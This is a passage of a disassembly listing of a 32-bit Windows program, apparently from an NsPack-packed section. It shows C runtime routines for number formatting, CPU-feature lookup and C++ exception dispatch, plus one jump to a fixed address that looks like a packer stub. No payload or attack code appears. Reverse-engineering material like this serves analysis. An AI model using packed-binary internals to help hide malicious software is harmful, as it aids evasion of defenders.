; =============== S U B R O U T I N E =======================================
sub_4216C7 proc near ; CODE XREF: sub_41CDE8+Fp
push 30000h
push 10000h
call sub_423EB5
pop ecx
pop ecx
retn
sub_4216C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216D9 proc near ; CODE XREF: sub_421717:loc_42173Bj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427868
fstp [ebp+var_8]
fld dbl_427860
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427718
fnstsw ax
sahf
jbe short loc_421713
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_421713: ; CODE XREF: sub_4216D9+33j
xor eax, eax
leave
retn
sub_4216D9 endp
; =============== S U B R O U T I N E =======================================
sub_421717 proc near ; CODE XREF: sub_41CDE8+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 0B40000h
cmp eax, 1574C085h
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4270BC
test eax, eax
jz short loc_42173B
push 0
call eax ; sub_41CDE8
retn
; ---------------------------------------------------------------------------
loc_42173B: ; CODE XREF: sub_421717+1Dj
jmp sub_4216D9
sub_421717 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421740 proc near ; DATA XREF: sub_41CE00+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DE1C
cmp eax, 65h
pop ecx
jz short loc_421780
loc_421754: ; CODE XREF: sub_421740+3Ej
inc esi
cmp dword_44276C, 1
jle short loc_42176D
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_42177C
; ---------------------------------------------------------------------------
loc_42176D: ; CODE XREF: sub_421740+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_442560
mov al, [ecx+eax*2]
and eax, 4
loc_42177C: ; CODE XREF: sub_421740+2Bj
test eax, eax
jnz short loc_421754
loc_421780: ; CODE XREF: sub_421740+12j
mov cl, byte_442770
mov al, [esi]
mov [esi], cl
inc esi
loc_42178B: ; CODE XREF: sub_421740+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_42178B
pop esi
retn
sub_421740 endp
; ---------------------------------------------------------------------------
loc_42179A: ; DATA XREF: sub_41CE00+5o
mov eax, [esp+4]
mov dl, byte_442770
mov cl, [eax]
test cl, cl
jz short loc_4217B6
loc_4217AA: ; CODE XREF: .nsp0:004217B4j
cmp cl, dl
jz short loc_4217B6
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4217AA
loc_4217B6: ; CODE XREF: .nsp0:004217A8j
; .nsp0:004217ACj
mov cl, [eax]
inc eax
test cl, cl
jz short locret_4217E7
loc_4217BD: ; CODE XREF: .nsp0:004217CEj
mov cl, [eax]
test cl, cl
jz short loc_4217D0
cmp cl, 65h
jz short loc_4217D0
cmp cl, 45h
jz short loc_4217D0
inc eax
jmp short loc_4217BD
; ---------------------------------------------------------------------------
loc_4217D0: ; CODE XREF: .nsp0:004217C1j
; .nsp0:004217C6j ...
mov ecx, eax
loc_4217D2: ; CODE XREF: .nsp0:004217D6j
dec eax
cmp byte ptr [eax], 30h
jz short loc_4217D2
cmp [eax], dl
jnz short loc_4217DD
dec eax
loc_4217DD: ; CODE XREF: .nsp0:004217DAj
; .nsp0:004217E5j
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_4217DD
locret_4217E7: ; CODE XREF: .nsp0:004217BBj
retn
; ---------------------------------------------------------------------------
loc_4217E8: ; DATA XREF: sub_41CE00+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp dbl_427858
fnstsw ax
sahf
jb short loc_4217FD
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4217FD: ; CODE XREF: .nsp0:004217F7j
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421800 proc near ; DATA XREF: sub_41CE00+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_421829
lea eax, [ebp+var_8]
push eax
call sub_424378
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_421829: ; CODE XREF: sub_421800+Cj
lea eax, [ebp+arg_8]
push eax
call sub_4243A5
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_421800 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42183E proc near ; CODE XREF: sub_421ABB+17p
; sub_421B05+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4E158C, 0
push ebx
push esi
jz short loc_421873
mov ebx, [ebp+arg_8]
mov eax, dword_4E1588
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421B56
pop ecx
pop ecx
jmp short loc_4218AB
; ---------------------------------------------------------------------------
loc_421873: ; CODE XREF: sub_42183E+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424449
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_4243D2
add esp, 14h
loc_4218AB: ; CODE XREF: sub_42183E+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4218B7
mov byte ptr [eax], 2Dh
inc eax
loc_4218B7: ; CODE XREF: sub_42183E+73j
test ebx, ebx
jle short loc_4218CF
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_442770
mov eax, edi
pop edi
mov [eax], cl
loc_4218CF: ; CODE XREF: sub_42183E+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4E158C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C550
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_4218F6
mov byte ptr [ecx], 45h
loc_4218F6: ; CODE XREF: sub_42183E+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_42193B
mov ebx, [esi+4]
dec ebx
jns short loc_42190A
neg ebx
mov byte ptr [ecx], 2Dh
loc_42190A: ; CODE XREF: sub_42183E+C5j
inc ecx
cmp ebx, 64h
jl short loc_421921
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421921: ; CODE XREF: sub_42183E+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421938
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421938: ; CODE XREF: sub_42183E+E7j
add [ecx+1], bl
loc_42193B: ; CODE XREF: sub_42183E+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_42183E endp
; =============== S U B R O U T I N E =======================================
sub_421942 proc near ; CODE XREF: sub_421AE2+13p
; sub_421B05+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4E158C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_42197D
mov eax, dword_4E1590
mov ebx, [esp+10h+arg_8]
mov esi, dword_4E1588
cmp eax, ebx
jnz short loc_4219AD
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4219AD
; ---------------------------------------------------------------------------
loc_42197D: ; CODE XREF: sub_421942+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424449
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_4243D2
add esp, 14h
loc_4219AD: ; CODE XREF: sub_421942+22j
; sub_421942+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4219BB
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4219BB: ; CODE XREF: sub_421942+70j
mov eax, [esi+4]
test eax, eax
jg short loc_4219D2
push 1
push edi
call sub_421B56
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_4219D4
; ---------------------------------------------------------------------------
loc_4219D2: ; CODE XREF: sub_421942+7Ej
add edi, eax
loc_4219D4: ; CODE XREF: sub_421942+8Ej
test ebx, ebx
jle short loc_421A19
push 1
push edi
call sub_421B56
mov al, byte_442770
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421A19
cmp byte_4E158C, 0
jz short loc_4219FE
neg esi
jmp short loc_421A04
; ---------------------------------------------------------------------------
loc_4219FE: ; CODE XREF: sub_421942+B6j
neg esi
cmp ebx, esi
jl short loc_421A06
loc_421A04: ; CODE XREF: sub_421942+BAj
mov ebx, esi
loc_421A06: ; CODE XREF: sub_421942+C0j
push ebx
push edi
call sub_421B56
push ebx
push 30h
push edi
call sub_41BC40
add esp, 14h
loc_421A19: ; CODE XREF: sub_421942+94j
; sub_421942+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A20 proc near ; CODE XREF: sub_421B05+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424449
mov dword_4E1588, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4E1590, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_4243D2
mov eax, dword_4E1588
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4E1590, ecx
setl cl
mov byte_4E1594, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4E1590, eax
jl short loc_421AA6
cmp eax, ebx
jge short loc_421AA6
test cl, cl
jz short loc_421A97
loc_421A8D: ; CODE XREF: sub_421A20+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421A8D
and [esi-2], al
loc_421A97: ; CODE XREF: sub_421A20+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421AE2
add esp, 0Ch
jmp short loc_421AB6
; ---------------------------------------------------------------------------
loc_421AA6: ; CODE XREF: sub_421A20+63j
; sub_421A20+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421ABB
add esp, 10h
loc_421AB6: ; CODE XREF: sub_421A20+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421A20 endp
; =============== S U B R O U T I N E =======================================
sub_421ABB proc near ; CODE XREF: sub_421A20+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4E158C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_42183E
and byte_4E158C, 0
add esp, 10h
retn
sub_421ABB endp
; =============== S U B R O U T I N E =======================================
sub_421AE2 proc near ; CODE XREF: sub_421A20+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4E158C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421942
and byte_4E158C, 0
add esp, 0Ch
retn
sub_421AE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B05 proc near ; DATA XREF: sub_41CE00o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421B40
cmp [ebp+arg_8], 45h
jz short loc_421B40
cmp [ebp+arg_8], 66h
jnz short loc_421B2D
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421942
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421B2D: ; CODE XREF: sub_421B05+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421A20
jmp short loc_421B51
; ---------------------------------------------------------------------------
loc_421B40: ; CODE XREF: sub_421B05+7j
; sub_421B05+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42183E
loc_421B51: ; CODE XREF: sub_421B05+39j
add esp, 10h
pop ebp
retn
sub_421B05 endp
; =============== S U B R O U T I N E =======================================
sub_421B56 proc near ; CODE XREF: sub_42183E+2Cp
; sub_421942+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421B79
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B890
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D330
add esp, 10h
pop esi
loc_421B79: ; CODE XREF: sub_421B56+7j
pop edi
retn
sub_421B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B7B proc near ; CODE XREF: .nsp0:0041CFE0p
; sub_41D049+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421B91
call sub_422422
loc_421B91: ; CODE XREF: sub_421B7B+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421BB9
cmp dword ptr [esi+4], 0
jz short loc_421C0F
cmp [ebp+arg_14], 0
jnz short loc_421C0F
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_421EC2
add esp, 10h
jmp short loc_421C0F
; ---------------------------------------------------------------------------
loc_421BB9: ; CODE XREF: sub_421B7B+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421C0F
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421BF3
cmp [eax+14h], edi
jbe short loc_421BF3
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421BF3
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421C12
; ---------------------------------------------------------------------------
loc_421BF3: ; CODE XREF: sub_421B7B+4Aj
; sub_421B7B+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421C16
add esp, 20h
loc_421C0F: ; CODE XREF: sub_421B7B+23j
; sub_421B7B+29j ...
push 1
pop eax
loc_421C12: ; CODE XREF: sub_421B7B+76j
pop edi
pop esi
pop ebp
retn
sub_421B7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C16 proc near ; CODE XREF: sub_421B7B+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421C36
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421C3B
loc_421C36: ; CODE XREF: sub_421C16+16j
call sub_422422
loc_421C3B: ; CODE XREF: sub_421C16+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421D92
cmp dword ptr [esi+10h], 3
jnz short loc_421CAF
cmp [esi+14h], edi
jnz short loc_421CAF
cmp dword ptr [esi+1Ch], 0
jnz short loc_421CAF
mov esi, dword_4E1598
test esi, esi
jz loc_421D8D
mov eax, dword_4E159C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4245D0
pop ecx
test eax, eax
pop ecx
jnz short loc_421C91
call sub_422422
loc_421C91: ; CODE XREF: sub_421C16+74j
cmp [esi], ebx
jnz loc_421D92
cmp dword ptr [esi+10h], 3
jnz short loc_421CAF
cmp [esi+14h], edi
jnz short loc_421CAF
cmp dword ptr [esi+1Ch], 0
jnz short loc_421CAF
call sub_422422
loc_421CAF: ; CODE XREF: sub_421C16+41j
; sub_421C16+46j ...
cmp [esi], ebx
jnz loc_421D92
cmp dword ptr [esi+10h], 3
jnz loc_421D92
cmp [esi+14h], edi
jnz loc_421D92
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D197
add esp, 14h
mov ebx, eax
loc_421CE6: ; CODE XREF: sub_421C16+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421D7D
cmp [ebx], edi
jg short loc_421D72
cmp edi, [ebx+4]
jg short loc_421D72
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421D6F
loc_421D0B: ; CODE XREF: sub_421C16+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421D3C
loc_421D1D: ; CODE XREF: sub_421C16+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_421E65
add esp, 0Ch
test eax, eax
jnz short loc_421D4B
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421D1D
loc_421D3C: ; CODE XREF: sub_421C16+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421D0B
jmp short loc_421D6F
; ---------------------------------------------------------------------------
loc_421D4B: ; CODE XREF: sub_421C16+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F76
add esp, 2Ch
loc_421D6F: ; CODE XREF: sub_421C16+F3j
; sub_421C16+133j
mov edi, [ebp+var_10]
loc_421D72: ; CODE XREF: sub_421C16+DEj
; sub_421C16+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421CE6
; ---------------------------------------------------------------------------
loc_421D7D: ; CODE XREF: sub_421C16+D6j
cmp [ebp+arg_14], 0
jz short loc_421D8D
push 1
push esi
call sub_4222EB
pop ecx
pop ecx
loc_421D8D: ; CODE XREF: sub_421C16+56j
; sub_421C16+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421D92: ; CODE XREF: sub_421C16+37j
; sub_421C16+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421DB8
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421DBD
add esp, 20h
jmp short loc_421D8D
; ---------------------------------------------------------------------------
loc_421DB8: ; CODE XREF: sub_421C16+180j
jmp sub_4223CC
sub_421C16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DBD proc near ; CODE XREF: sub_421C16+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4E15A0, 0
push esi
push edi
jz short loc_421DEE
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D06E
add esp, 1Ch
test eax, eax
jnz short loc_421E61
loc_421DEE: ; CODE XREF: sub_421DBD+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D197
add esp, 14h
mov esi, eax
loc_421E0A: ; CODE XREF: sub_421DBD+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421E61
cmp edi, [esi]
jl short loc_421E59
cmp edi, [esi+4]
jg short loc_421E59
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421E33
cmp byte ptr [ecx+8], 0
jnz short loc_421E59
loc_421E33: ; CODE XREF: sub_421DBD+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421F76
add esp, 2Ch
loc_421E59: ; CODE XREF: sub_421DBD+57j
; sub_421DBD+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421E0A
; ---------------------------------------------------------------------------
loc_421E61: ; CODE XREF: sub_421DBD+2Fj
; sub_421DBD+53j
pop edi
pop esi
leave
retn
sub_421DBD endp
; =============== S U B R O U T I N E =======================================
sub_421E65 proc near ; CODE XREF: sub_421C16+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_421EBC
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_421EBC
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_421E96
add ecx, 8
push ecx
push edx
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_421EB8
loc_421E96: ; CODE XREF: sub_421E65+1Fj
test byte ptr [esi], 2
jz short loc_421EA0
test byte ptr [edi], 8
jz short loc_421EB8
loc_421EA0: ; CODE XREF: sub_421E65+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_421EAF
test byte ptr [edi], 1
jz short loc_421EB8
loc_421EAF: ; CODE XREF: sub_421E65+43j
test al, 2
jz short loc_421EBC
test byte ptr [edi], 2
jnz short loc_421EBC
loc_421EB8: ; CODE XREF: sub_421E65+2Fj
; sub_421E65+39j ...
xor eax, eax
jmp short loc_421EBF
; ---------------------------------------------------------------------------
loc_421EBC: ; CODE XREF: sub_421E65+Bj
; sub_421E65+14j ...
push 1
pop eax
loc_421EBF: ; CODE XREF: sub_421E65+55j
pop edi
pop esi
retn
sub_421E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EC2 proc near ; CODE XREF: sub_421B7B+34p
; sub_421F76+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A0
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_421EF4: ; CODE XREF: sub_421EC2+8Aj
cmp esi, [ebp+arg_C]
jz short loc_421F4E
cmp esi, 0FFFFFFFFh
jle short loc_421F03
cmp esi, [edi+4]
jl short loc_421F08
loc_421F03: ; CODE XREF: sub_421EC2+3Aj
call sub_422422
loc_421F08: ; CODE XREF: sub_421EC2+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_421F23
push 103h
push ebx
push eax
call sub_422380
loc_421F23: ; CODE XREF: sub_421EC2+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_421F43
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_421F60
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_421F43: ; CODE XREF: sub_421EC2+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_421EF4
; ---------------------------------------------------------------------------
loc_421F4E: ; CODE XREF: sub_421EC2+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_421EC2 endp
; =============== S U B R O U T I N E =======================================
sub_421F60 proc near ; CODE XREF: sub_421EC2+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_421F71
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421F71: ; CODE XREF: sub_421F60+Cj
jmp sub_4223CC
sub_421F60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F76 proc near ; CODE XREF: sub_421C16+151p
; sub_421DBD+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_421F98
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422127
add esp, 10h
loc_421F98: ; CODE XREF: sub_421F76+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_421FA4
push edi
jmp short loc_421FA7
; ---------------------------------------------------------------------------
loc_421FA4: ; CODE XREF: sub_421F76+29j
push [ebp+arg_24]
loc_421FA7: ; CODE XREF: sub_421F76+2Cj
call sub_41CF70
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_421EC2
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_421FF1
add esp, 2Ch
test eax, eax
jz short loc_421FEC
push edi
push eax
call sub_41CF2E
loc_421FEC: ; CODE XREF: sub_421F76+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421F76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FF1 proc near ; CODE XREF: sub_421F76+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B0
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
